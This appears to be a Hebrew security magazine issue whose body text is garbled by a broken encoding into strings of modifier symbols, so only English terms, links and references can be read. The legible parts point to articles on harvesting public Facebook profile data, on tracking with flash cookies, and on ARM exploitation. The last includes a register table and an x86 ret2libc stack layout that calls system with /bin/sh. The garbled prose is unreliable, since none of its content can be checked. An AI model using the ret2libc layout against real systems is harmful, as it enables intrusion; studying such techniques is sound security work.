ˬ ˶˸ˣ˧ ˪˰ ˰ˡ˧ˬ ˣ˲˯˞ ˫˧˶˵ˣ˥ˢ ˸˪ˣ˩˧ ˸˥˩ˣˢ˩ ˫˪ˣ˞-43.2  ˨ˣ˸ˬ ˸ˣ˴ˣ˟˵ ˧˶˟˥ ˭ˣ˧˪ˬ31,853  ˸ˣ˴ˣ˟˵

 ˨ˣ˸23 ˡ˟˪˟ ˫˧˟˷˥ˬ ˧ˮ˷ ˸ˣ˰˴ˬ˞˟ ˫ˣ˧ . ˧ˡ˩ ˷˶ˡ˧˸ ˢˡˣ˟˰ ˢˬ˩ ˭ˣ˟˷˥ˢ ˸˞ ˞˶ˣ˵˪ ˪˧ˠ˶˸˩ ˶˧˞˷˞

ˬ˸˷ˬˢ ˟ˣ˶ ˸˞ ˢ˯˩˧˷ ˰ˡ˧ˬ ˱ˣ˯˞˪˫˧˪˞˶˷˧ˢ ˫˧˷. 

 ˣˢ˷˪˩ ˶˸˞˟ ˶˵˟ˬ ˷ˬ˸˷ˬ ˶˷˞˩)˵ˣ˟˯˧˧˲˪ ˶ˣ˷˵ ˣˮ˧˞˷( , ˸ˣ˴ˣ˟˵ˢ ˸ˬ˧˷˶ ˸˞ ˪˟˵˪ ˧ˡ˩

˭ˢ˟ ˶˵˧˟ ˷ˬ˸˷ˬˢ˷ ,˸ˣ˴ˣ˟˵ˢ ˧˲ˡ˪ ˫˧˶ˣ˷˧˵ ˫˰ ˢ˧˶ˣ˦˯˧ˢ ˸˟˧ˮˠ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ .˪˷ˬ˪ , ˱ˡ

 ˶ˣ˷˧˵˟ ˭˧ˬˤ ˵ˣ˟˯˧˧˲˟ ˭ˣ˦˧˧˲ ˧˦ˮˣˬ ˪˷ ˢ˴ˣ˟˵ˢ˞˟ˢ .˪˰- ˢ˪˞˩ ˸ˣ˴ˣ˟˵ ˪˷ ˶˧˟˯ ˶˲˯ˬ ˸˵˧˶˯ ˧ˡ˧) ˭˸˧ˮ

˸ˣˡˡˣ˟ ˸ˣ˧ˮ˷˟ ˫˧˶ˣ˷˧˵ ˧˲˪˞ ˵ˣ˶˯˪ (˶˵˧˟ ˷ˬ˸˷ˬˢ ˭ˢ˟ ˸ˣ˴ˣ˟˵ ˧˲ˡ ˶˸˞˪ ˶˷˲˞ .˪˰- ˷ˣˬ˧˷ ˧ˡ˧

ˢ˴ˣ˟˵ ˪˩˟ ˫˧˶˟˥ˢ ˧˟ˠ˪ ˱˯˞ˮ˷ ˫ˡ˵ˣˬˢ ˰ˡ˧ˬ˟ , ˪˷ ˫˧˶˟˥ˢ ˸ˣˬ˧˷˶ ˭˧˟ ˟˧˪˴ˢ˪ ˸˰˩ ˶˷˲˞

 ˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˴ˣ˟˵ˢ˷ˬ˸˷ˬˢ ˸˞ ˸ˣˢˤ˪ ˢ˶˦ˬ˟ . ˧˲ˡ˟ ˣ˶˵˧˟ ˫ˢ˟ ˫˧˶˵ˬ˟ ˫ˠ ˫˧˷ˬ˸˷ˬ ˶˸˞˪ ˧ˡ˩

˫ˢ˧˪˞ ˫˧˩˧˧˷ ˫ˮ˧˞˷ ˸ˣ˴ˣ˟˵ , ˸ˣ˦˧˷˟ ˫ˠ ˦ˣ˵ˮ˪ ˫ˠ ˭˸˧ˮ"˸ˣ˧ˮ˥˪˯ " ˢ˟˪˴ˢˬ ˶˸ˣ˧ï  ˪˷ ˢ˪˞˷ ˪˩ˢ

ˢ˲˵˸ˢˢ ˰ˣ˴˧˟˟ ˰˧˵˷ˢ˪ ˫˧ˮ˩ˣˬ ˭ˬˤ ˢˬ˩. 

                                                           
 

1
  ˟ˠ˞ ˨˶ˡ ,˸ˣˬ˷ ˷˥ˮ˪ ˨˧˶˴ ˞˪ . ˯ˣˣ˟ ˭ˣ˶ ˫˷˟ ˰ˡ˧ˬ ˸˥˦˟˞ ˶˵ˣ˥ ˭ˣ˶˥˞ˢ ˧˪ˣ˧˟)Ron Bowes (ˢˬ˧˷˶ ˫˯˶˲  ˸˞ ˸˪˪ˣ˩ˢ

 ˪˷ ˫ˢ˧˸ˣˬ˷171  ˵ˣ˟˯˧˧˲ ˧˷ˬ˸˷ˬˬ ˭ˣ˧˪ˬ)ˢ˯" ˩100 ˫˧˧ˡˣ˥˧ ˸ˣˬ˷ ˭ˣ˧˪ˬ( ,˫˧˴ˣ˲ˮ ˷ˬ˸˷ˬ ˸ˣˬ˷ ˪˷ ˢˬ˧˷˶ ˪˪ˣ˩ .˞˪ , ˞ˣˢ

˵ˣ˟˯˧˧˲˪ ˳˶˲ ˞˪ .ˬ ˰ˡ˧ˬˢ ˸˞ ˡ˧˶ˣˢ ˦ˣ˷˲ ˞ˣˢ˪˩˪ ˷˧ˠˮˢ ˨˧˶ˡˬˢ ˫ˢ˪˷. 

http://www.facebook.com/social_graph.php?node_id=4981419559
http://www.facebook.com/group.php?gid=4981419559
http://www.skullsecurity.org/blog/?p=887
http://www.facebook.com/directory/
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˪˧˰˪ ˢ˶˞ˣ˸˷ ˢ˲˵˸ˢˢ ˸ˣ˟˵˰˟ ,˭˞ˮ˞˧˶˞ˮ ˡˮ˧ˣˣ˶˞ , ˸˞ ˣ˶˟˷˷ ˫˧˶˵ˣ˥ˢˬ ˡ˥˞ ˶ˠ˞ˬ ˪˷ ˸ˣ˧ˬ˧ˮˣˮ˞ˢ

˯˵˧˪˲˦ˮ ,ˢˮ˥˟˞ˢ ˸˞ ˣ˪˷ ˠˣ˪˟˟ ˰˧˴ˢ  ˷ˬ˸˷ˬ ˧˩ˣ ˧˸˶˟˥ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˸ˣ˧ˢ˪ ˨˲ˣˢ ˣˬ˴˰ ˦ˮ˶˦ˮ˧˞ˢ˷

˞˟ ˸ˬ˷˶ˮ ˦ˮ˶˦ˮ˧˞ ˶˸˞ ˫˰ ˣ˪˷ ˢ˧˴˵˞˶˦ˮ˧˞ˢ˷ ˫˰˲ ˪˩˟ ˸ˣ˟˵˰ ˣ˧˶˥˞ ˶˧˞˷ˬ˧˶ˣ˟˧˴ ˭˲ˣ , ˪˷ˬ˪

˶˸˞˟ ˵˟˵ˣ˦ ,Like ˵ˣ˟˯˧˧˲ ˪˷ ,˶˦˧ˣˣ˦˟ ˵ˮ˧˪ , ˪˷ ˢ˧˧ˮˬ˧˯del.icio.us ˢ˞˪ˢ ˭˩ˣ . ˪˰ ˨ˬ˸˯ˢ˪ ˫ˣ˵ˬ˟

˫˧˷ˬ˸˷ˬ ˧ˣˢ˧ˤˣ ˸ˣ˟˪˴ˢ ˨˶ˣ˴˪ ˵ˣ˟˯˧˧˲ ˸ˣ˴ˣ˟˵˟ ˫˧˶˟˥ ˸ˣˬ˧˷˶ , ˫˧˟˶ ˸ˣ˶ˣ˵ˬ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ

˱˧˪˥˸˩ ˦ˮ˶˦ˮ˧˞˟ ˫˧˶˥˞ . ˫˧˷ˮ˞˷ ˫˧˶ˣ˷˧˵ ˶ˠ˞ˬ ˫˰ ˨˶˰˷ ˧ˣ˯˧ˮ ˸ˣ˟˵˰˟˟ ˣˬ˯˶˲-del.icio.us ,

 ˸ˣ˰˴ˬ˞˟ ˧˩ ˨˧˶˰ˢ4000-5000 ˩ ˸ˣˢˤ˪ ˭˸˧ˮ ˢ˧˶ˣ˦˯˧ˢ ˸˟˧ˮˠ ˪˷ ˸ˣ˸˪˧˞˷-60%  ˫˧˷ˬ˸˷ˬˢˬ

˟ ˫˧˶ˣ˷˧˵ ˶˸ˣ˧ ˣ˞ ˫˧˧ˮ˷ ˣˬ˯˶˲˷-del.icio.us  ˫˧˷ˡˣ˥ ˢ˷ˣ˪˷ ˪˷ ˢ˲ˣ˵˸ ˨˶ˣ˞˪) ˪˰ˣ˲˟ ˸˞ˤ ˫˰

˶˸ˣ˧ ˢ˷˵ ˢ˞˶ˮ˩ ˢ˧ˢ˸ ˣˤ˩ ˢ˲˵˸ˢ , ˪ˡ˥ˬˢ ˸˶˧˶˟ ˫˧˴ˣ˲ˮ ˫˧ˮ˲ˡ˲ˡ ˶˲˯ˬ˟˷ ˶˥˞ˬ ˸˶˧ˬ˷˪

˫˧˷ˡˣ˥ ˢ˷ˣ˪˷ˬ ˸ˣ˥˲ ˞˧ˢ ˢ˧˶ˣ˦˯˧ˢ ,˸˧˵˪˥ ˢ˥˪˴ˢ ˵˶ ˢ˧ˢ˸ ˢˤ ˢ˶˵ˬ˟ ˢ˧˶ˣ˦˯˧ˢˢ ˸˟˧ˮˠ˪ ˭˩˪ .( 

 

˫ˣ˩˧˯ ˸ˣ˪˧ˬ 

 

ˢ ˫˧˷ˬ˸˷ˬˢ ˡˣˬ˧˪˪ ˫˧˦˵ˣˮ ˫˧ˬ˯˶˲ˬ˷ ˸ˣ˦˧˷˪ ˸ˣ˰ˡˣˬˢ ˭ˬˤˢ ˨˶ˣ˞˪˸˶˟ˣˠˣ ˸˩˪ˣ , ˭˞˩˪ ˸ˣ˰ˡ ˫˰

 ˭˞˩˪ˣ)ˢˬˠˣˡ˪ ,˟ ˷ˡˣ˥ˢ ˣˬ˯˶ˣ˲˷ ˞˷ˣˮ˟ ˫˧˶ˬ˞ˬ ˠˣˤ-Wall Street Journal ,ˡ˰˟ xˡˠˮ ,˟ ˭˩ˣ-USA 

Today ,ˡ˰˟ xˡˠˮ .(ˡ˥˞ ˡ˴ˬ , ˫ˢ˧˪˰ ˫˧˲˯˞ˮˢ ˫˧ˮˣ˸ˮ ˶˷˞˩ ˫˧˪˴ˣˮˬ ˫˧˸˧˰˪ ˫˧˷˧ˠ˶ˬ ˫˧˷ˮ˞) ˫˧˸˧˰˪

˞˪˪ ˫˸˰˧ˡ˧ (˧˶˥˯ˬ ˥ˣˣ˶˪ ˫˧˷ˬ˷ˬ ,˫ˡˠˮ˩ ˧ˢ˷˪˩ ˨˶ˡ˟ ˷ˬ˷˪ ˪ˣ˩˧ ˫ˢ˧˪˰ ˱˯˞ˮ˷ ˰ˡ˧ˬˢ˷ ˫˧˷˷ˣ˥ˣ .

 ˭˧˟˪ ˸ˣ˧˦˶˲ ˭˧˟ ˫˶ˣ˟˰ ˭ˣ˩ˮˢ ˭ˣˤ˧˞ˢ ˸˞ ˰ˣ˟˵˪ˣ ˦ˣ˪˷˪ ˫˧˷ˮ˞ ˪˷ ˸˪ˣ˩˧ˢ ˢ˵˥˷ˮ˷ ˢ˷ˣ˥˸ ˢˮ˷˧

˶˸ˣ˧ ˫˧˟ˣ˦ ˫˧˸ˣ˶˧˷ ,˸˧˸˧ˬ˞ ˢ˶˧˥˟ ˸ˮ˸˧ˮ ˞˪ ˫˧˷ˮ˞ˢ ˟ˣ˶˪ ˧˩ˣ .˧ˮ˷ ˡ˴ˬ ,˞ˣˢ ˦ˮ˶˦ˮ˧˞˟ ˫ˣ˯˶˲ˢ  ˫ˣ˧˩

˦ˮ˶˦ˮ˧˞˟ ˫˧˟˶ ˫˧˧ˬˮ˧˥ ˫˧˸ˣ˶˧˷ ˭ˬˬˬˢ ˧˶˵˧˰ˢ ˰ˣˮˬˢ ,ˣ˧˪˞ˬ ˭˟ˣˬ˩ ˫˧˪˟˵ˬ ˫˧˟˶ ˫˧˷ˮ˞˷ ˶˟ˡ .

˶˸ˣ˧ ˪˧˰˧ ˫ˣ˯˶˲ ˸˶˷˲˞ˬ ˫ˢ˧˸ˣ˲ˡ˰ˢˣ ˫˧˷ˬ˸˷ˬˢ ˪˷ ˶˸ˣ˧ ˢ˟ˣ˦ ˢ˶˩ˢ ,˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˸ˣ˯ˮ˩ˢ , ˭ˣˬ˧ˬˣ

˶˸ˣ˧ ˫˧˟ˣ˦ˣ ˫˧˲˯ˣˮ ˫˧˧ˬˮ˧˥ ˫˧˸ˣ˶˧˷˪ ˱˯ˣˮ .ˢˬˠˣˡ˪ , ˠˣ˪˟ˢars technica ˦˯ˣ˲ ˫˯˶˲  ˪ˢ˵˪ ˢˮ˲ ˣ˟

˸ˣˬˣ˯˶˲ ˧ˬ˯ˣ˥ ˫˧˲˯ˣ˸˟ ˷ˬ˸˷ˢ˪ ˞˪ ˢ˷˵˟˟ ˣ˪˷ ˫˧˷˪ˣˠˢ , ˭ˣˬ˧ˬ˪ ˸ˣˬˣ˯˶˲ˢ ˸ˣ˟˧˷˥ ˸˞ ˶˧˟˯ˢˣ

˫˧ˮˢˮ ˫˧˷˪ˣˠˢ ˣˮˬˬ ˭˩ˣ˸ˢ . 

˟˷ ˥˧ˮˢ˪ ˶˧˟˯˦ˮ˶˦ˮ˧˞˟ ˫˧˟˶ ˫˧˸ˣ˶˧˷˪ ˪˧˟ˣˬ ˢ˯ˮ˩ˢ ˶ˣ˵ˬ ˸ˣ˧ˢ˪ ˨˧˷ˬ˧ ˫ˣ˯˶˲ˢ ˟ˣ˶˵ˢ ˡ˧˸˰ , ˪˩ˣ

˟˴ˬˢ ˢˤ ˡˣ˰ ,˧˷˧˞ ˭˩ˣ˸ ˫ˢ˪ ˫˧˞˸ˢ˪ˣ ˫˧˷˪ˣˠˢ ˪˰ ˡˣˬ˪˪ ˵ˤ˥ ˳˧˶ˬ˸ ˢ˧ˢ˧ ˫˧ˬ˯˶˲ˬ˪ . ˫ˣ˯˶˲ˢ

˸˧˯˥˧ ˶˧˰˴ ˭ˣˣ˵ˬˢ ,˦ˮ˶˦ˮ˧˞ˢ ˧˶˸˞ ˭˧˟ ˨˷ˬ˸ˬ ˭˸ˬˣ ˞˷ˬ˟ ˫˧ˮˣ˸ˮ ˭˧˧ˡ˰ ˶ˣ˯˞ˣ ˶˸ˣˬ ˪˷ ˸ˣ˪ˣ˟ˠˢˣ ,

˵˥ ˧˲ˣˠ˫˧˷ˬ˸˷ˬˢˣ ˢ˵˧ . 

http://33bits.org/2010/02/19/ubercookies-history-stealing-social-web/
http://online.wsj.com/article/SB10001424052748703748904575411530096840958.html
http://online.wsj.com/article/SB10001424052748703748904575411682714389888.html
http://www.usatoday.com/news/opinion/editorials/2010-08-09-editorial09_ST1_N.htm
http://www.usatoday.com/news/opinion/editorials/2010-08-09-editorial09_ST_N.htm?csp=obinsite
http://arstechnica.com/business/news/2010/03/why-ad-blocking-is-devastating-to-the-sites-you-love.ars
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ˬ˸ˣ˶ˣ˵ 

 

1. Flash Cookies and Privacy, by Ashkan Soltani, Shannon Canty, Quentin Mayo, Lauren 

Thomas and Chris Jay Hoofnagle, August 2009, Available at SSRN, 

http://papers.ssrn.com/sol3/papers.cfm?abstract-id=1446862 

2. Fact and Fiction: The Truth About Browser Cookies, by The How-To Geek, February 

2010, http://lifehacker.com/5461114/fact-and-fiction-the-truth-about-browser-cookies 

3. How Unique is Your Web Browser, by Peter Eckersley, Electronic Frontier Foundation, 

http://panopticlick.eff.org/browser-uniqueness.pdf 

4. EPIC Flash Cookie page, http://epic.org/privacy/cookies/flash.html 

 

 

http://papers.ssrn.com/sol3/papers.cfm?abstract-id=1446862
http://lifehacker.com/5461114/fact-and-fiction-the-truth-about-browser-cookies
http://panopticlick.eff.org/browser-uniqueness.pdf
http://epic.org/privacy/cookies/flash.html
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ARM Exploitation 
˸˞ˬ  ˵˥˴˧)Zuk (˫ˢ˶˟˞ 

 

˞ˣ˟ˬ 

 

 ˳˴ˣ˥ ˸˷˧˪ˠ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˪ ˸ˣ˦˧˷ ˶˞˸ˬ ˢˤ ˶˵˥ˬ(buffer overflows) ˫˰ ˸ˣ˶˩˧ˢ ˶˸ˣ˧ ˪˟˵˪ ˸ˮˬ ˪˰ 

 ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮARM  ˢ ˸˧ˮ˯˥ˬ ˶˷˞˩ ˧ˮ˶ˡˣˬˢ ˭ˡ˧˰˟ARM ˢ˴˶ˢ˪ ˸ˮ˸˧ˮ ˢˮ˧˞ . ˸ˮ˟ˢ˪ ˡ˰ˣˮ ˞ˣˢ

 ˧˶˧˷˩ˬ˟ ˫˧ˮˣ˩˧˯ˢARM ˸ˣˮˣ˶˸˲ ˸˰˴ˢ ˨ˣ˸ ˫˸ˣ˞ ˰ˣˮˬ˪ ˨˧˞ˣ ˫˧˧ˮ˶ˡˣˬˢ. 

 

 

ˢ˶ˢ˟ˢ: ˢˤ ˶˵˥ˬˬ ˫˧˵˪˥˟ ˷ˣˬ˧˷˟ ,˰ ˢˤ ˶˵˥ˬ ˧˶˟˥ˬ˪ ˸ˣ˧ˣ˩ˤ ˯˥˧˪ ˣ˩˶˦˴˸" ˵ˮ˧˪ ˸˲˯ˣˢ ˧

ˢˤ ˶˵˥ˬ ˪˷ ˭˩ˡ˰˸ˬ. 

 

ˣ˵ˡ˟ ˞ ˫˸ˬ˧˧˵ ˢ˯˶ˠ ˸ˮ˩ˡˣ˰ˬ ˶˵˥ˬ˪ ˢˤ ˟˸˟ˣ˸˩: http://imthezuk.blogspot.com ) ˵˧˧ˣˡˬ ˵ˮ˧˪

 :http://imthezuk.blogspot.com/2010/08/defcon-presentation_03.html( 

 ˟ ˶˦˧ˣˣ˦˟ ˢˤ ˶ˬ˞ˬ ˟˸ˣ˩ ˶˥˞ ˟ˣ˵˰˪ ˭˸˧ˮ: 

@ihackbanme 

 ˸˲˵˸ˬRet2ZP ) ˣ˞"ˢˮˠˢ ˯˲˞˪ ˢ˶ˤ˥ (" ˶˧˷˩ˬ˟ ˰˴˟˸ˢ˪ ˢ˪ˣ˩˧ˣ ˢˤ ˶˵˥ˬ˟ ˢ˞ˣ˪ˬ˟ ˸˶˞ˣ˸ˬ

ˢARM- ˫˩˪˷ .˸ˢ ˪˰ ˸ˣ˞ˬˠˣˡˣ ˰ˡ˧ˬ ˵˲˯˪ ˥ˬ˷ ˫ˠ ˢˤ ˶˵˥ˬ ˟˸ˣ˩ ˡ˧˞ˣ˶ˡˮ˞ ˸ˬ˶ˣ˲˦˪˲˪ ˸ˣˬ˞

 ˨˞ ˢ˪˥ ˸ˣ˧˶˥˞ˢˣ ˢˤ ˶˵˥ˬ˟ ˞˟ˣˬˢ ˷ˣˬ˧˷ ˸ˣ˟˵˰˟ ˫˶ˠ˧˷ ˵ˤˮ ˪˰ ˧˞˶˥˞ ˣˮ˧˞ ˶˵˥ˬˢ ˟˸ˣ˩

ˡ˟˪˟ ˫˩˧˪˰. 

 

˟ ˰ˡ˧ ˯˧˯˟ ˫˩˸ˣ˷˶˟˷ ˢ˥ˮˢ ˸ˡˣ˵ˮˬ ˞˴ˣ˧ ˢˤ ˶˵˥ˬ: 

¶  ˪˷ ˧˪˟ˬ˯˞ X86 ˟ ˣ˞-ARM. 

¶ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˟ ˰ˡ˧ ˭˩ ˣˬ˩ ) ˸ˮ˟ˢ ˪˷ˬ˪ret2libc , ˶˵˥ˬ ˸ˮ˟ˢ˟ ˶ˣˤ˰˪ ˢ˧ˣ˷˰ˢˤ.( 

http://imthezuk.blogspot.com/
http://imthezuk.blogspot.com/2010/08/defcon-presentation_03.html
http://www.twitter.com/ihackbanme
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 ˠˣ˯ˬ ˫˧ˠ˞˟stack overflow  ˨ˣ˸˪ ˸ˣ˟˸ˣ˩˷ ˸ˣˮ˩ˣ˸ ˟˵˰ ˫˧ˬ˶ˠˮbuffer  ˰ˡ˧ˬˢ ˸ˣˬ˩ˬ ˶˸ˣ˧ ˨ˣ˶˞ ˰ˡ˧ˬ

 ˣ˸ˣ˞ ˶ˣ˟˰ ˢ˸˴˵ˣˢ˷buffer ˸˧ˮ˯˥ˬˢ ˪˰. 

 ˪˴ˮ˪ ˭˸˧ˮ ˨˧˞buffer overflow? 

¶ ˡ˧˧ˮ ˶˧˷˩ˬ ˪˰ ˢ˦˧˪˷ ˪˟˵˪ˣ ˸ˣ˞˷˶ˢ ˸ˣ˪˰ˢ˪ ˸ˮˬ ˪˰ ˸ˣˡˣ˵˲ ˪˧˰˲ˢ˪ ˪ˣ˩˧ ˧ˬˣ˵ˬ ˷ˬ˸˷ˬ. 

¶ ˪ ˪ˣ˩˧ ˷ˬ˸˷ˬ˵ˣ˥˶ˬ ˡ˧˧ˮ ˶˧˷˩ˬ ˪˷ ˢ˷˪ˣ˥ ˪˴ˮ ,˸ˣˡˣ˵˲ ˣ˟ ˳˧˶ˢ˪ˣ ˢ˦˧˪˷ ˣ˧˪˰ ˠ˧˷ˢ˪ ˧ˡ˩. 

 

 ˧ˡ˟˰ˬ˟ ˸˧˥˩ˣˮˢ ˢˮˠˢˢ ˭ˣˮˠˮˬˬ ˫˧˰˟ˣˮ˷ ˫˧ˮˣ˩˧˯ ˫˧ˬ˧˧˵ ˭˧˧ˡ˰ ˧˩ ˠ˧˴ˢ˪ ˭ˣˣ˩˸ˬ ˢˤ ˶˵˥ˬARM  ˧˸ˣˣ˵˸ˣ

˸ˣ˪˧˟ˣˬˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˸˟˧˪˟ ˸ˣˮˣ˶˸˲ ˸˞˧˴ˬ˪ ˫˧˴ˬ˞ˬ ˶˸ˣ˧ ˣ˪˰˲ˣ˧ ˧˩ ˞˧ˢ. 

˧˥˶˸ ˪˰ ˢ˟˷˥ˬ˟ ˪˧˥˸ˮˢ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˧˷-ARM ˧˸˧ˬ˞ˢ ˫˪ˣ˰˟,  ˧ˡ˟˰ˬARM  ˪˩˟ ˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ

˫ˣ˧ˢ ˫ˣ˵ˬ :˸ˣ˧ˤ˧ˣˣ˪˦ ,˫˧ˬˡ˵˸ˬ ˫˧ˡ˧˧ˮ ,˫˧ˮˣ˲˪˦ ,˩ˣ ˸ˣ˥ˣ˪"x , ˫˧ˬ˯˶ˣ˲ˬˢ ˫˧˩˶ˡˢ ˪˩  ˧˩ ˢˬˡˮ ˨˞

 ˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˪ARM  ˣˮ˧˞ ˣˢˤˣ ˢ˴˶ˢ˪ ˸ˮ˸˧ˮ ˸˧ˮ˯˥ˬˢ˷ ˨˩ ˪˰ ˫˧˯˯˟˸ˬ˫ˣ˧˩ ˪˰ˣ˲˟ ˢ˶ˣ˵˷ ˢˬ. 

 

ˢ˧˪˟ˬ˯˞ ˪˷ ARM 

 

˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ-ARM ˟ ˸ˬˣ˰˪- X86 ˢ˴˶ˢ˪ ˸ˮ˸˧ˮ ˢˮ˧˞ ˸˧ˮ˯˥ˬˢ ˶˷˞˩ 

 

˸ˣ˷ˡ˥ ˸ˣˬ˶ˣ˲˦˪˲ ˢ˟˶ˢ˟ ˢ˴˶ˢ˪ ˸ˮ˸˧ˮ ˢˮ˧˞ ˸˧ˮ˯˥ˬˢ . ˸ˣ˧ˢ˪ ˸ˣ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˪ ˸ˬ˶ˣˠ ˣˤ ˢˡ˟ˣ˰

˶˸ˣ˧ ˢ˷˵ ,ˡˣ˰ˣ ˸˞ˤ , ˪˷ ˧˪˟ˬ˯˞ˢARM  ˪˷ ˧˪˟ˬ˯˞ˢˬ ˢˮˣ˷X86. 

 ˪˷ ˫˧˵˧˶˦ˢ ˫ˮˬ˞X86 ˣ˸ˢ ˸ˬ˧˶ˤ˟ ˦ˣ˪˷˪ ˸ˮˬ ˪˰ ˫˧ˬ˧˧˵˪ ˢ˯˧˶ˡ ˰ˣ˴˧˟ ˶˥˞˪ ˸˧ˮ˩- EIP )˟ ˭ˣˠ˩-

ret2libc )ˡ ˥˲˯ˮ ˣ˞˶'.( 

 ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˪˰ ˧˶ˣ˟˧˴ ˰ˡ˧ ˫˧˧˵ ˞˪ARM  ˢˤ ˶˵˥ˬ ˸˟˧˸˩ ˭ˬˤ˟)˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ-ARM  ˶˷˞˩

 ˢ˴˶ˢ˪ ˸ˮ˸˧ˮ ˢˮ˧˞ ˸˧ˮ˯˥ˬˢï ˶˟˥ˬ ˸˶˰ˢ(, 
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˟ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˸˧˧˴ˮ˟ˮˣ˵-ARM )(APCS 

 

ˣ˲˪ ˢ˞˧˶˵ ˪˷ ˸˧˦˶ˡˮ˦˯ˢ ˢ˧˴ˮ˟ˮˣ˵ˢ  ˢ˧˴˵ˮ)˞ ˥˲˯ˮ ˣ˞˶' ( ˢ˪˧˩ˬ16 ˫˧˶ˠˣ˞: 

˶ˠˣ˞ ˶ˣ˞˧˸ ˶ˠˣ˞ˢ ˫˷ 

R15 ˢ ˶ˠˣ˞-Program Counter PC 

R14 ˶ˣ˷˧˵ˢ ˶ˠˣ˞ LR 

R13 ˸˧ˮ˯˥ˬ˪ ˰˧˟˴ˬˢ SP 

R12 Intra-Procedure-call scratch register IP 

R11 ˸˶ˠ˯ˬ˪ ˰˧˟˴ˬ FP 

R4-R10 ˫˧˧ˬˣ˵ˬ ˫˧ˮ˸˷ˬ ˫˧˵˧ˤ˥ˬ  

R0-R3 ˬˣ ˫˧˶˦ˬ˶˲ ˫˧˵˧ˤ˥ˬ˸ˣ˧˴˵ˮˣ˲ ˶ˣ˟˰ ˫˧ˮ˸˷  

 

˶ˬˣ˪˩ , ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˫˞SYSTEM  ˡ˥˞ ˶˦ˬ˶˲ ˸˪˟˵ˬ˷*)char(  ˨˶ˡ ˶ˣ˟˰˧ ˞ˣˢR0. 

˵˲ ˳˧˶ˢ˪ ˭˸˧ˮ ˡ˴˧˩ ˢ˞˶ˮ ˢˬˠˡˢˢ ˪˧˟˷˟ 'shell ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ˶˥˞˪ , ˸ˣ˧ˢ˪ ˪˩ˣ˧ ˢ˲ ˯˧˯˟ˢ˷ ˭˟ˣˬ˩ ˨˞

˵˲ ˸˴˶ˢ ˨˶ˣ˴˪ ˟˥˶ˣˬ ' ˪˩ ˦˰ˬ˩ ˸˟˩ˢ˟ ˢ˞˪ˬ ˢ˦˧˪˷ˣ ˸ˣ˞˪ˬshellcode ˧˶˷˲˞ . ˶˦ˬ˶˲ˢ˷ ˭ˣˣ˧˩ˬ

ˢ˧˴˵ˮˣ˲˪ ˫˧˞˶ˣ˵ ˣˮ˞˷˩ ˸˧ˮ˯˥ˬ˪ ˱˥ˡˮ ˞˪ ,˸˧ˮ˯˥ˬˢˬ ˞˴ˣˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞˪ ˫ˠ ˞ˣˢ , ˨˶ˡˢ ˭˩˪

˟ ˨˶ˡ˪ ˢˢˤ ˢˮ˧˞ ˢ˧˴˵ˮˣ˲˪ ˫˧˶˦ˬ˶˲ ˸˸˪ ˸˧˶ˣ˵ˬˢ-86X , ˫˧˵˧˶˦ˢ ˸˶ˤ˰˟ ˫˧˶˦ˬ˶˲ ˶˧˟˰ˢ˪ ˨˶˦˴ˮ

˪ˣ˴˧ˮ ˶ˣ˟˰ ˨ˬ˯ˬˢ ˨˷ˬˢ˟   ˪˷ ˥˪˴ˣˬStack Overflow. 

 

˷ ˰ˣˡˬ˟ ˦ˣ˷˲ ˷ˣˬ˧- ret2libc ˡˣ˟˰˧ ˞˪? 

 

ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ˪˷ ˸ˣ˰ˬ˷ˬˢ , ˸˞ ˭˧˩ˢ˪ ˨˶ˣ˴ ˷˧˷ ˢ˷ˣ˶˧˲ ˸˧ˮ˯˥ˬ˟ ˡˣ˵ ˳˧˶ˢ˪ ˭˸˧ˮ ˞˪ ˶˷˞˩

˟ ˫˧˷ˣ˰ ˣˮ˧˧ˢ˷ ˧˲˩ ˸˧ˮ˯˥ˬ˪ ˭ˣ˩ˮˢ ˶ˡ˯˟ ˫˸ˣ˞ ˱ˣ˥ˡ˪ ˫ˣ˵ˬ˟ ˫˧˶˦ˬ˶˲ˢ- 86X .˞ˬˠˣˡ˪ , ˸˲˧˵˸

ret2libc  ˪˰ ˢ˪˧ˠ˶86X ˢ˩˩ ˸ˣ˞˶˧ˢ˪ ˢ˶ˣˬ˞: 

| ---------------- | ---------- | ------------ | ---------------- | ----------------- |  

| 16 A's         | AAAA     | SYSTEM     |  EXIT FUNCTION | &/bin/sh        |  

| ---------------- | ---------- | ------------ | ---------------- | ----------------- |  

| args           | EBP [20] | EIP [24]   | EBP+8 [28]     | EBP+12 [32]     |  
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˶ˬˣ˪˩ ,˦ˣ˪˷˪ ˭˸˧ˮ: ˯˧˯˟ˢ ˰˧˟˴ˬ˟(EBP)  ) ˸˶ˠ˯ˬˢ ˱ˣ˧ˤ˪ ˣ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮï ][Frame Faking( ,

ˢ˞˧˶˵˪ ˢ˧˴˵ˮˣ˲˟(EIP)  SYSTEM(buff) , ˢ˧˴˵ˮˣ˲˪ ˶˧˟˰ˢ˪ ˷˧˷ ˶˦ˬ˶˲˟(&/bin/sh)  ˢ˞˧˴˧ˢ ˸˧˴˵ˮˣ˲˟ˣ

ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˶˥˞˪ ˞˶˵˧˸˷. 

 

